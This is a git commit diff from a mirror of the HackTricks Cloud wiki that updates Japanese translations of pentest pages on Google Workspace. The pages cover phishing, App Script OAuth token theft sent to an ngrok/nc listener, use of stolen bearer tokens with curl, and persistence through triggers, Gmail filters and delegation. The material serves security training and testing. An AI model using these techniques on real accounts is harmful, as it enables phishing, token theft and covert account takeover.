mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-01 10:35:06 -07:00
Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe
This commit is contained in:
@@ -6,7 +6,7 @@
|
||||
|
||||
### Google Platforms and OAuth Apps Phishing
|
||||
|
||||
被害者にフィッシングリンクを送信するために、Drive、Chat、GroupsなどのさまざまなGoogleプラットフォームをどのように使用できるか、またGoogle OAuthフィッシングをどのように実行するかを確認してください。
|
||||
Googleプラットフォーム(Drive、Chat、Groupsなど)を使用して、被害者にフィッシングリンクを送信する方法や、Google OAuthフィッシングを実行する方法を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
gws-google-platforms-phishing/
|
||||
@@ -18,7 +18,7 @@ gws-google-platforms-phishing/
|
||||
|
||||
## Post-Exploitation
|
||||
|
||||
いくつかの資格情報やユーザーのセッションを侵害した場合、ユーザーの潜在的な機密情報にアクセスし、特権を昇格させるためにいくつかのアクションを実行できます。
|
||||
いくつかの資格情報やユーザーのセッションを侵害した場合、ユーザーの潜在的な機密情報にアクセスし、特権を昇格させるためにいくつかのアクションを実行できます:
|
||||
|
||||
{{#ref}}
|
||||
gws-post-exploitation.md
|
||||
@@ -26,7 +26,7 @@ gws-post-exploitation.md
|
||||
|
||||
### GWS <-->GCP Pivoting
|
||||
|
||||
GWSとGCPの間でピボットするためのさまざまな技術について詳しく読むには、こちらを参照してください。
|
||||
GWSとGCPの間でピボットするためのさまざまな技術について詳しく読む:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-security/gcp-to-workspace-pivoting/
|
||||
@@ -34,9 +34,9 @@ GWSとGCPの間でピボットするためのさまざまな技術について
|
||||
|
||||
## GWS <--> GCPW | GCDS | Directory Sync (AD & EntraID)
|
||||
|
||||
- **GCPW (Google Credential Provider for Windows)**: これは、Google Workspacesが提供するシングルサインオンで、ユーザーは**自分のWorkspace資格情報**を使用してWindows PCにログインできます。さらに、これはPCのいくつかの場所にGoogle Workspaceにアクセスするためのトークンを**保存します**。
|
||||
- **GCDS (Google Cloud Directory Sync)**: これは、**アクティブディレクトリのユーザーとグループをWorkspaceに同期するために使用できるツール**です。このツールは、**Workspaceのスーパーユーザーおよび特権のあるADユーザーの資格情報**を必要とします。したがって、ユーザーを時々同期させているドメインサーバー内で見つけることができるかもしれません。
|
||||
- **Admin Directory Sync**: これは、[https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories)からサーバーレスプロセスでADおよびEntraIDのユーザーを同期することを可能にします。
|
||||
- **GCPW (Google Credential Provider for Windows)**: これは、Google Workspaceが提供するシングルサインオンで、ユーザーが**Workspaceの資格情報**を使用してWindows PCにログインできます。さらに、これはPCのいくつかの場所にGoogle Workspaceにアクセスするためのトークンを**保存します**。
|
||||
- **GCDS (Google Cloud Directory Sync)**: これは、**アクティブディレクトリのユーザーとグループをWorkspaceに同期するために使用できるツール**です。このツールは、**Workspaceのスーパーユーザーと特権のあるADユーザーの資格情報**を必要とします。したがって、ユーザーを時々同期しているドメインサーバー内で見つけることができるかもしれません。
|
||||
- **Admin Directory Sync**: これは、[https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories)からサーバーレスプロセスでADとEntraIDのユーザーを同期することを可能にします。
|
||||
|
||||
{{#ref}}
|
||||
gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/
|
||||
@@ -44,7 +44,7 @@ gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/
|
||||
|
||||
## Persistence
|
||||
|
||||
いくつかの資格情報やユーザーのセッションを侵害した場合、持続性を維持するためのこれらのオプションを確認してください。
|
||||
いくつかの資格情報やユーザーのセッションを侵害した場合、持続性を維持するためのこれらのオプションを確認してください:
|
||||
|
||||
{{#ref}}
|
||||
gws-persistence.md
|
||||
|
||||
@@ -10,9 +10,9 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
|
||||
|
||||
## Google Groups Phishing
|
||||
|
||||
デフォルトでは、workspaceのメンバーは[**グループを作成でき**](https://groups.google.com/all-groups) **、人を招待できます**。その後、ユーザーに送信されるメールを**リンクを追加して**修正できます。**メールはGoogleのアドレスから送信される**ため、**正当なものに見え**、人々はリンクをクリックするかもしれません。
|
||||
デフォルトでは、workspaceのメンバーは[**グループを作成でき**](https://groups.google.com/all-groups) **人を招待することができます**。その後、ユーザーに送信されるメールを**リンクを追加して**修正できます。**メールはgoogleのアドレスから送信される**ため、**正当なものに見え**、人々はリンクをクリックするかもしれません。
|
||||
|
||||
**FROM**アドレスを**Googleグループのメール**として設定し、**グループ内のユーザーにさらにメールを送信する**ことも可能です。以下の画像のように、グループ**`google--support@googlegroups.com`**が作成され、**グループのすべてのメンバーにメールが送信されました**(同意なしに追加されたメンバー)。
|
||||
**FROM**アドレスを**Googleグループのメール**として設定し、**グループ内のユーザーにさらにメールを送信する**ことも可能です。以下の画像のように、グループ**`google--support@googlegroups.com`**が作成され、グループの**すべてのメンバーにメールが送信されました**(同意なしに追加されたメンバー)。
|
||||
|
||||
<figure><img src="../../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -23,14 +23,14 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
|
||||
<figure><img src="../../../images/image (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> **ただし、私のテストでは招待されたメンバーは招待を受け取らなかった。**
|
||||
> **私のテストでは、招待されたメンバーは招待状すら受け取らなかった。**
|
||||
|
||||
過去にこれがどのように機能したかは、[https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)で確認できます。
|
||||
|
||||
## Google Doc Phishing
|
||||
|
||||
過去には、**一見正当な文書**を作成し、コメントで**いくつかのメール(例:@user@gmail.com)を言及する**ことが可能でした。Googleはそのメールアドレスに**文書で言及されたことを通知するメールを送信しました**。\
|
||||
現在では、これは機能しませんが、**被害者に文書へのアクセスを与える**と、Googleはその旨を示すメールを送信します。これが誰かを言及したときに表示されるメッセージです:
|
||||
現在では、これは機能しませんが、**被害者に文書へのアクセスを与える**と、Googleはその旨を示すメールを送信します。誰かを言及したときに表示されるメッセージは次のとおりです:
|
||||
|
||||
<figure><img src="../../../images/image (7).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -41,7 +41,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
|
||||
|
||||
**カレンダーイベントを作成**し、攻撃している会社のメールアドレスをできるだけ多く追加できます。このカレンダーイベントを**現在の時間から5分または15分後**にスケジュールします。イベントを正当なものに見せ、**何かを読む必要があることを示すコメントとタイトルを付けます**(**フィッシングリンク**付き)。
|
||||
|
||||
これは、会議のタイトル「人を解雇する」としてブラウザに表示されるアラートです。したがって、よりフィッシングのようなタイトルを設定することができます(メールに関連付けられた名前を変更することも可能です)。
|
||||
これは、会議のタイトル「Firing People」でブラウザに表示されるアラートです。よりフィッシングのようなタイトルを設定することができます(メールに関連付けられた名前を変更することも可能です)。
|
||||
|
||||
<figure><img src="../../../images/image (8).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -53,8 +53,8 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
|
||||
|
||||
## App Scripts Redirect Phishing
|
||||
|
||||
[https://script.google.com/](https://script.google.com/)でスクリプトを作成し、**誰でもアクセスできるWebアプリケーションとして公開する**ことが可能で、正当なドメイン**`script.google.com`**を使用します。\
|
||||
次のようなコードを使用すると、攻撃者はこのページに任意のコンテンツを読み込ませることができ、ドメインへのアクセスを停止することなく行うことができます:
|
||||
[https://script.google.com/](https://script.google.com/)でスクリプトを作成し、**誰でもアクセスできるウェブアプリケーションとして公開する**ことが可能です。これは正当なドメイン**`script.google.com`**を使用します。\
|
||||
次のようなコードを使用すると、攻撃者はこのページに任意のコンテンツを読み込むスクリプトを作成し、ドメインへのアクセスを停止することなく実行できます:
|
||||
```javascript
|
||||
function doGet() {
|
||||
return HtmlService.createHtmlOutput(
|
||||
@@ -69,17 +69,17 @@ return HtmlService.createHtmlOutput(
|
||||
> [!TIP]
|
||||
> コンテンツがiframe内に読み込まれると、警告が表示されることに注意してください。
|
||||
|
||||
## アプリスクリプトOAuthフィッシング
|
||||
## App Scripts OAuth フィッシング
|
||||
|
||||
ドキュメントに添付されたアプリスクリプトを作成して、被害者のOAuthトークンへのアクセスを試みることが可能です。詳細については、次を確認してください:
|
||||
ドキュメントに添付されたApp Scriptsを作成して、被害者のOAuthトークンへのアクセスを試みることが可能です。詳細については、次を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
gws-app-scripts.md
|
||||
{{#endref}}
|
||||
|
||||
## OAuthアプリフィッシング
|
||||
## OAuth アプリ フィッシング
|
||||
|
||||
前述の技術のいずれかを使用して、ユーザーに**Google OAuthアプリケーション**にアクセスさせ、ユーザーに**アクセス**を**要求**することができます。ユーザーが**ソース**を**信頼**すれば、**アプリケーション**を**信頼**するかもしれません(たとえそれが高い権限の要求をしていても)。
|
||||
前述の技術のいずれかを使用して、ユーザーに**Google OAuth アプリケーション**にアクセスさせ、ユーザーに**アクセス**を**要求**することができます。ユーザーが**ソース**を**信頼**すれば、**アプリケーション**も**信頼**するかもしれません(たとえそれが高い権限の要求をしていても)。
|
||||
|
||||
> [!NOTE]
|
||||
> Googleは、アプリケーションが信頼されていないことを警告する醜いプロンプトをいくつかのケースで表示し、Workspace管理者はOAuthアプリケーションの受け入れを防ぐことさえできます。
|
||||
@@ -87,15 +87,15 @@ gws-app-scripts.md
|
||||
**Google**は、ユーザーの代わりに**Googleサービス**(Gmail、Drive、GCPなど)と**対話**できるアプリケーションを作成することを許可しています。
|
||||
|
||||
他のユーザーの代わりに**行動する**アプリケーションを作成する際、開発者は**GCP内にOAuthアプリ**を作成し、アプリがユーザーデータにアクセスするために必要なスコープ(権限)を指定する必要があります。\
|
||||
**ユーザー**がその**アプリケーション**を**使用**したい場合、彼らは**スコープ**で指定されたデータへのアクセスをアプリケーションが持つことを**受け入れる**ように**促されます**。
|
||||
**ユーザー**がその**アプリケーション**を**使用**したい場合、スコープで指定されたデータへのアクセスをアプリケーションが持つことを**受け入れる**ように**促されます**。
|
||||
|
||||
これは、非技術的なユーザーを**機密情報にアクセスするアプリケーション**の使用に**フィッシング**する非常に魅力的な方法です。彼らは結果を理解していないかもしれません。しかし、組織のアカウントでは、これを防ぐ方法があります。
|
||||
これは、非技術的なユーザーを**機密情報にアクセスするアプリケーション**の使用に**フィッシング**する非常に魅力的な方法です。なぜなら、彼らは結果を理解していないかもしれないからです。しかし、組織のアカウントでは、これを防ぐ方法があります。
|
||||
|
||||
### 未確認アプリのプロンプト
|
||||
|
||||
前述のように、Googleは常に**ユーザーにアプリケーションに与える権限を受け入れるように促すプロンプト**を表示します。しかし、アプリケーションが**危険**と見なされる場合、Googleは**最初に**それが**危険**であることを示す**プロンプト**を表示し、ユーザーがアプリに権限を付与するのを**より困難にします**。
|
||||
前述のように、Googleは常に**ユーザーに対してアプリケーションに与える権限を受け入れるように促すプロンプト**を表示します。しかし、アプリケーションが**危険**と見なされる場合、Googleは**最初に**それが**危険**であることを示す**プロンプト**を表示し、ユーザーがアプリに権限を付与するのを**より困難にします**。
|
||||
|
||||
このプロンプトは、次のようなアプリに表示されます:
|
||||
このプロンプトは、次のようなアプリで表示されます:
|
||||
|
||||
- プライベートデータにアクセスできるスコープを使用するアプリ(Gmail、Drive、GCP、BigQueryなど)
|
||||
- 100人未満のユーザーを持つアプリ(100人以上のアプリは、未確認プロンプトを表示しないためにレビューが必要です)
|
||||
@@ -107,9 +107,9 @@ gws-app-scripts.md
|
||||
- **cloud-platform**: **Google Cloud Platform**サービス全体でデータを表示および管理します。GCPでユーザーを偽装できます。
|
||||
- **admin.directory.user.readonly**: 組織のGSuiteディレクトリを表示およびダウンロードします。すべてのユーザーの名前、電話番号、カレンダーURLを取得します。
|
||||
|
||||
### OAuthアプリの作成
|
||||
### OAuth アプリの作成
|
||||
|
||||
**OAuthクライアントIDの作成を開始します**
|
||||
**OAuth クライアント IDの作成を開始します**
|
||||
|
||||
1. [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient)にアクセスし、同意画面を設定するをクリックします。
|
||||
2. 次に、**ユーザータイプ**が**内部**(組織内の人のみ)か**外部**かを尋ねられます。ニーズに合った方を選択してください。
|
||||
@@ -118,13 +118,13 @@ gws-app-scripts.md
|
||||
4. **OAuthスコープ**を**選択**します。
|
||||
- このページは、非機密の権限、機密の権限、および制限された権限に分かれています。新しい権限を追加するたびに、そのカテゴリに追加されます。要求された権限に応じて、ユーザーに対してこれらの権限がどれほど機密であるかを示す異なるプロンプトが表示されます。
|
||||
- **`admin.directory.user.readonly`**と**`cloud-platform`**は機密の権限です。
|
||||
5. **テストユーザーを追加します。** アプリのステータスがテスト中の間、これらのユーザーのみがアプリにアクセスできるため、**フィッシングするメールを追加することを確認してください**。
|
||||
5. **テストユーザーを追加します**。アプリのステータスがテスト中の間、これらのユーザーのみがアプリにアクセスできるため、**フィッシングするメールを追加することを確認してください**。
|
||||
|
||||
次に、**以前に作成したOAuthクライアントID**を使用して**Webアプリケーションの資格情報を取得します**:
|
||||
|
||||
1. [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient)に戻ると、今回は異なるオプションが表示されます。
|
||||
1. [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient)に戻り、今回は異なるオプションが表示されます。
|
||||
2. **Webアプリケーションの資格情報を作成する**を選択します。
|
||||
3. 必要な**Javascriptオリジン**と**リダイレクトURI**を設定します。
|
||||
3. 必要な**JavaScriptオリジン**と**リダイレクトURI**を設定します。
|
||||
- テスト用に**`http://localhost:8000/callback`**のようなものを両方に設定できます。
|
||||
4. アプリケーションの**資格情報を取得します**。
|
||||
|
||||
|
||||
+27
-27
@@ -4,8 +4,8 @@
|
||||
|
||||
## App Scripts
|
||||
|
||||
App Scriptsは、**編集者権限を持つユーザーがApp Scriptにリンクされたドキュメントにアクセスしたときにトリガーされるコード**であり、**OAuthプロンプトを受け入れた後**に実行されます。\
|
||||
また、App Scriptの所有者によって**特定の時間ごとに実行されるように設定することもできます**(持続性)。
|
||||
App Scriptsは**ユーザーがApp Scriptにリンクされたドキュメントにエディタ権限でアクセスしたときにトリガーされるコード**であり、**OAuthプロンプトを受け入れた後**に実行されます。\
|
||||
また、App Scriptの所有者によって**特定の時間ごとに実行されるように設定することもできます**(Persistence)。
|
||||
|
||||
### App Scriptの作成
|
||||
|
||||
@@ -59,7 +59,7 @@ Apps Scriptからスタンドアロンプロジェクトを作成するには:
|
||||
|
||||
<summary>claspコマンドラインツールを使用してスタンドアロンプロジェクトを作成する</summary>
|
||||
|
||||
`clasp`は、ターミナルからApps Scriptプロジェクトを作成、プル/プッシュ、デプロイすることを可能にするコマンドラインツールです。
|
||||
`clasp`は、ターミナルからApps Scriptプロジェクトを作成、プル/プッシュ、デプロイするためのコマンドラインツールです。
|
||||
|
||||
詳細については、[Command Line Interface using `clasp` guide](https://developers.google.com/apps-script/guides/clasp)を参照してください。
|
||||
|
||||
@@ -80,7 +80,7 @@ OAuthトークンへのアクセスを提供するには、**`サービス +`を
|
||||
- **Drive**: Driveデータにアクセス
|
||||
- **Google Sheets API**: トリガーと連携するため
|
||||
|
||||
自分で**必要なスコープ**を変更するには、プロジェクト設定に移動し、**`エディタに「appsscript.json」マニフェストファイルを表示`を有効にします。**
|
||||
**必要なスコープ**を自分で変更するには、プロジェクト設定に移動し、**`エディタで "appsscript.json" マニフェストファイルを表示`を有効にします**。
|
||||
```javascript
|
||||
function getToken() {
|
||||
var userEmail = Session.getActiveUser().getEmail()
|
||||
@@ -133,51 +133,51 @@ Logger.log("Error making POST request: " + e.toString())
|
||||
}
|
||||
}
|
||||
```
|
||||
リクエストをキャプチャするには、次のように実行するだけです:
|
||||
リクエストをキャプチャするには、次のコマンドを実行するだけです:
|
||||
```bash
|
||||
ngrok tcp 4444
|
||||
nc -lv 4444 #macOS
|
||||
```
|
||||
Permissions requested to execute the App Script:
|
||||
App Scriptを実行するために要求される権限:
|
||||
|
||||
<figure><img src="../../../images/image (334).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> 外部リクエストが行われるため、OAuthプロンプトは**外部エンドポイントにアクセスするための権限を要求します**。
|
||||
> 外部リクエストが行われるため、OAuthプロンプトは**外部エンドポイントにアクセスするための権限を求めます**。
|
||||
|
||||
### Create Trigger
|
||||
### トリガーの作成
|
||||
|
||||
アプリを読み込んだら、**⏰ トリガー**をクリックしてトリガーを作成します。**関数**として**`getToken`**を選択し、デプロイメントは**`Head`**、イベントソースは**`From spreadsheet`**を選択し、イベントタイプは**`On open`**または**`On edit`**(必要に応じて)を選択して保存します。
|
||||
アプリを読み込んだら、**⏰ トリガー**をクリックしてトリガーを作成します。**関数**として**`getToken`**を選択し、デプロイメントは**`Head`**、イベントソースは**`From spreadsheet`**、イベントタイプは**`On open`**または**`On edit`**(必要に応じて)を選択し、保存します。
|
||||
|
||||
デバッグしたい場合は、**実行タブでアプリスクリプトの実行を確認できます**。
|
||||
デバッグしたい場合は、**実行タブでApp Scriptsの実行を確認できます**。
|
||||
|
||||
### Sharing
|
||||
### 共有
|
||||
|
||||
**App Script**を**トリガー**するためには、被害者が**編集者アクセス**で接続する必要があります。
|
||||
|
||||
> [!TIP]
|
||||
> **App Script**を実行するために使用される**トークン**は、**トリガーの作成者のもの**になります。他のユーザーが編集者としてファイルを開いても同様です。
|
||||
|
||||
### Abusing Shared With Me documents
|
||||
### 共有されたドキュメントの悪用
|
||||
|
||||
> [!CAUTION]
|
||||
> 誰かが**App Scriptsとトリガーを持つドキュメントをあなたと共有した場合、App Scriptの**Head**を使用している場合(固定デプロイメントではない)、App Scriptコードを変更(例えば、トークンを盗む関数を追加)し、アクセスすると、**App Scriptはドキュメントを共有したユーザーの権限で実行されます**! (トリガーが作成されたときに与えられたアクセススコープを持つ所有者のOAuthトークンに注意してください)。
|
||||
> 誰かが**App Scriptsとトリガーを使用してApp ScriptのHeadを持つドキュメントをあなたと共有した場合**(固定デプロイメントではない)、App Scriptコードを変更(例えば、トークンを盗む関数を追加)し、アクセスすると、**App Scriptはドキュメントを共有したユーザーの権限で実行されます**! (トリガーが作成されたときに与えられたアクセススコープを持つ所有者のOAuthトークンに注意してください)。
|
||||
>
|
||||
> **スクリプトの作成者に誰かがスクリプトを変更したことを示す通知が送信されます**(アラートを防ぐためにGmailの権限を使用してフィルターを生成するのはどうですか?)
|
||||
|
||||
> [!TIP]
|
||||
> **攻撃者がApp Scriptのスコープを変更した場合**、更新は**新しいトリガー**が作成されるまでドキュメントに適用されません。したがって、攻撃者は作成したトリガーで設定したスコープよりも多くのスコープを持つ所有者のトークンを盗むことはできません。
|
||||
> **攻撃者がApp Scriptのスコープを変更した場合**、更新は**新しいトリガー**が作成されるまでドキュメントに適用されません。したがって、攻撃者は、作成したトリガーで設定したスコープよりも多くのスコープを持つ所有者のトークンを盗むことはできません。
|
||||
|
||||
### Copying instead of sharing
|
||||
### 共有の代わりにコピー
|
||||
|
||||
ドキュメントを共有するためのリンクを作成すると、次のようなリンクが作成されます:`https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
|
||||
**"/edit"**の部分を**"/copy"**に変更すると、Googleはドキュメントの**コピーを生成するかどうかを尋ねます:**
|
||||
**"/edit"**の部分を**"/copy"**に変更すると、Googleはアクセスするのではなく、**ドキュメントのコピーを生成するかどうかを尋ねます:**
|
||||
|
||||
<figure><img src="../../../images/image (335).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ユーザーがコピーしてアクセスすると、**ドキュメントの内容とApp Scriptsがコピーされます**が、**トリガーはコピーされないため、何も実行されません**。
|
||||
ユーザーがそれをコピーしてアクセスすると、**ドキュメントの内容とApp Scriptsがコピーされます**が、**トリガーはコピーされないため、何も実行されません**。
|
||||
|
||||
### Sharing as Web Application
|
||||
### Webアプリケーションとしての共有
|
||||
|
||||
**App ScriptをWebアプリケーションとして共有することも可能です**(App ScriptのエディタでWebアプリケーションとしてデプロイします)が、次のようなアラートが表示されます:
|
||||
|
||||
@@ -185,9 +185,9 @@ Permissions requested to execute the App Script:
|
||||
|
||||
その後、必要な権限を求める**典型的なOAuthプロンプト**が表示されます。
|
||||
|
||||
### Testing
|
||||
### テスト
|
||||
|
||||
収集したトークンを使用してメールをリストするテストができます:
|
||||
収集したトークンを使用してメールをリストするには、次のコマンドをテストできます:
|
||||
```bash
|
||||
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
|
||||
-H "Authorization: Bearer <token>"
|
||||
@@ -202,26 +202,26 @@ curl -H "Authorization: Bearer $OAUTH_TOKEN" \
|
||||
|
||||
持続性のための1つのオプションは、**ドキュメントを作成し、getToken**関数のトリガーを追加し、攻撃者とドキュメントを共有することです。これにより、攻撃者がファイルを開くたびに、**被害者のトークンを抽出します。**
|
||||
|
||||
また、App Scriptを作成し、X時間ごとにトリガーを設定することも可能です(例えば、毎分、毎時、毎日...)。**資格情報や被害者のセッションを侵害した攻撃者は、App Scriptの時間トリガーを設定し、非常に特権のあるOAuthトークンを毎日漏洩させることができます**:
|
||||
また、App Scriptを作成し、X時間ごとにトリガーを設定することも可能です(例えば、毎分、毎時、毎日...)。**資格情報や被害者のセッションを侵害した攻撃者は、App Scriptの時間トリガーを設定し、非常に特権的なOAuthトークンを毎日漏洩させることができます**:
|
||||
|
||||
App Scriptを作成し、トリガーに移動し、トリガーの追加をクリックし、イベントソースとして時間駆動を選択し、あなたに最適なオプションを選択します:
|
||||
App Scriptを作成し、トリガーに移動し、トリガーを追加をクリックし、イベントソースとして時間駆動を選択し、あなたに最適なオプションを選択します:
|
||||
|
||||
<figure><img src="../../../images/image (336).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> これにより、セキュリティアラートのメールと、これに関するモバイルへのプッシュメッセージが作成されます。
|
||||
> これにより、セキュリティアラートメールとモバイルへのプッシュメッセージが作成されます。
|
||||
|
||||
### Shared Document Unverified Prompt Bypass
|
||||
|
||||
さらに、誰かが**編集者アクセス**を持つドキュメントをあなたと**共有**した場合、**ドキュメント内にApp Scriptsを生成**することができ、**ドキュメントの所有者(作成者)がApp Scriptの所有者になります**。
|
||||
さらに、誰かが**編集者アクセス**を持つドキュメントを**共有**した場合、ドキュメント内に**App Scriptsを生成**することができ、**ドキュメントの所有者(作成者)がApp Scriptの所有者になります**。
|
||||
|
||||
> [!WARNING]
|
||||
> これは、**ドキュメントの作成者が、誰でもその中で作成したApp Scriptの作成者として表示されることを意味します**。
|
||||
> これは、**ドキュメントの作成者が、誰でも作成したApp Scriptの作成者として表示されることを意味します**。
|
||||
>
|
||||
> これはまた、**App Scriptがドキュメントの作成者のWorkspace環境によって信頼されることを意味します**。
|
||||
|
||||
> [!CAUTION]
|
||||
> これはまた、**App Scriptがすでに存在していて、人々が**アクセスを付与している場合、**ドキュメントの**編集者**権限を持つ誰でも**それを**変更し、そのアクセスを悪用できることを意味します。**\
|
||||
> これを悪用するには、App Scriptをトリガーする人々が必要です。そして、1つの便利なトリックは、**スクリプトをウェブアプリとして公開することです**。**すでにApp Scriptに**アクセスを付与した**人々がウェブページにアクセスすると、**App Scriptをトリガーします**(これは`<img>`タグを使用しても機能します)。
|
||||
> これはまた、**App Scriptがすでに存在していて、人々が**アクセスを許可している場合、**ドキュメントの**編集者**権限を持つ誰でも**それを**変更し、そのアクセスを悪用できることを意味します。**\
|
||||
> これを悪用するには、App Scriptをトリガーする人々が必要です。そして、1つの便利なトリックは、**スクリプトをウェブアプリとして公開することです**。**アクセスを許可した人々**がウェブページにアクセスすると、**App Scriptをトリガーします**(これは`<img>`タグを使用しても機能します)。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!CAUTION]
|
||||
> このセクションで設定を変更するすべてのアクションは、**メールへのセキュリティアラートの送信と、アカウントに同期された任意のモバイルへのプッシュ通知を生成します**。
|
||||
> このセクションで設定を変更するすべてのアクションは、**メールへのセキュリティアラートの送信や、アカウントに同期されたモバイルへのプッシュ通知を生成します**。
|
||||
|
||||
## **Gmailでの持続性**
|
||||
|
||||
@@ -24,7 +24,7 @@
|
||||
5. フィルターに何をさせたいかを選択します。
|
||||
6. **フィルターを作成**をクリックします。
|
||||
|
||||
現在のフィルターを確認(削除するため)するには、[https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters)にアクセスしてください。
|
||||
現在のフィルターを確認するには、[https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters)で削除できます。
|
||||
|
||||
</details>
|
||||
|
||||
@@ -46,15 +46,15 @@
|
||||
**オープンセッションがあっても、アプリパスワードを作成するにはユーザーのパスワードを知っている必要があります。**
|
||||
|
||||
> [!NOTE]
|
||||
> アプリパスワードは、**2段階認証が有効なアカウントでのみ使用できます**。
|
||||
> アプリパスワードは**2段階認証が有効なアカウントでのみ使用できます**。
|
||||
|
||||
## 2-FAの変更と類似
|
||||
|
||||
このページ[**https://myaccount.google.com/security**](https://myaccount.google.com/security)**で2-FAをオフにしたり、新しいデバイス(または電話番号)を登録したりすることも可能です。**\
|
||||
**パスキーを生成したり(自分のデバイスを追加したり)、パスワードを変更したり、確認用電話のための携帯番号を追加したり、回復用メールを変更したり、セキュリティ質問を変更したりすることも可能です。**
|
||||
**パスキーを生成したり(自分のデバイスを追加)、パスワードを変更したり、確認用の電話番号や回復用の電話番号を追加したり、回復用のメールを変更したり、セキュリティ質問を変更したりすることも可能です。**
|
||||
|
||||
> [!CAUTION]
|
||||
> ユーザーの電話に**セキュリティプッシュ通知が届かないようにするために、彼のスマートフォンからサインアウトすることができます**(ただし、それは奇妙です)なぜなら、ここから再度サインインすることはできないからです。\
|
||||
> ユーザーの電話に**セキュリティプッシュ通知が届かないようにするために、スマートフォンからサインアウトすることができます**(ただし、それは奇妙です)なぜなら、ここから再度サインインすることはできないからです。\
|
||||
> デバイスを**特定することも可能です。**
|
||||
|
||||
**オープンセッションがあっても、これらの設定を変更するにはユーザーのパスワードを知っている必要があります。**
|
||||
@@ -64,7 +64,7 @@
|
||||
もしあなたが**ユーザーのアカウントを侵害した場合、**すべての可能な権限を**OAuthアプリ**に付与することを**受け入れる**ことができます。唯一の問題は、Workspaceが**未審査の外部および/または内部OAuthアプリを禁止するように設定されている可能性があることです。**\
|
||||
Workspaceの組織では、デフォルトで外部OAuthアプリを信頼せず、内部のものを信頼することが一般的です。したがって、**組織内で新しいOAuthアプリケーションを生成するのに十分な権限がある場合、外部アプリが禁止されている場合は、それを生成し、**その新しい内部OAuthアプリを使用して持続性を維持します**。
|
||||
|
||||
OAuthアプリに関する詳細情報は、以下のページを確認してください:
|
||||
OAuthアプリに関する詳細は、以下のページを確認してください:
|
||||
|
||||
{{#ref}}
|
||||
gws-google-platforms-phishing/
|
||||
@@ -72,24 +72,24 @@ gws-google-platforms-phishing/
|
||||
|
||||
## 委任による持続性
|
||||
|
||||
アカウントを攻撃者が制御する別のアカウントに**委任する**ことができます(これが許可されている場合)。Workspaceの**組織**では、このオプションは**有効**でなければなりません。すべてのユーザーに対して無効にすることも、特定のユーザー/グループから有効にすることも、すべてのユーザーに対して有効にすることもできます(通常は一部のユーザー/グループのみに有効にされるか、完全に無効にされます)。
|
||||
アカウントを攻撃者が制御する別のアカウントに**委任する**ことができます(これを行うことが許可されている場合)。Workspaceの**組織**では、このオプションは**有効**でなければなりません。すべてのユーザーに対して無効にすることも、特定のユーザー/グループから有効にすることも、すべてのユーザーに対して有効にすることもできます(通常は一部のユーザー/グループにのみ有効にされるか、完全に無効にされます)。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Workspace管理者の場合、この機能を有効にするにはこちらを確認してください</summary>
|
||||
<summary>Workspace管理者の場合、この機能を有効にするために確認してください</summary>
|
||||
|
||||
(情報は[ドキュメントからコピー](https://support.google.com/a/answer/7223765))
|
||||
|
||||
あなたの組織(例えば、あなたの職場や学校)の管理者として、ユーザーが自分のGmailアカウントへのアクセスを委任できるかどうかを制御します。すべての人にアカウントを委任するオプションを与えることも、特定の部門の人々だけに委任を設定させることもできます。例えば、あなたは:
|
||||
あなたの組織(例えば、あなたの職場や学校)の管理者として、ユーザーが自分のGmailアカウントへのアクセスを委任できるかどうかを制御します。すべての人に委任のオプションを与えることも、特定の部門の人々だけに委任を設定させることもできます。例えば、あなたは:
|
||||
|
||||
- 自分のGmailアカウントに管理アシスタントを委任者として追加し、彼らがあなたの代わりにメールを読み、送信できるようにします。
|
||||
- グループ(例えば、営業部門)を委任者として追加し、全員が1つのGmailアカウントにアクセスできるようにします。
|
||||
- グループ(例えば、営業部門)をグループに追加し、全員が1つのGmailアカウントにアクセスできるようにします。
|
||||
|
||||
ユーザーは、同じ組織内の他のユーザーにのみアクセスを委任できます。ドメインや組織単位に関係なく。
|
||||
ユーザーは、同じ組織内の別のユーザーにのみアクセスを委任できます。ドメインや組織単位に関係なく。
|
||||
|
||||
#### 委任の制限と制約
|
||||
|
||||
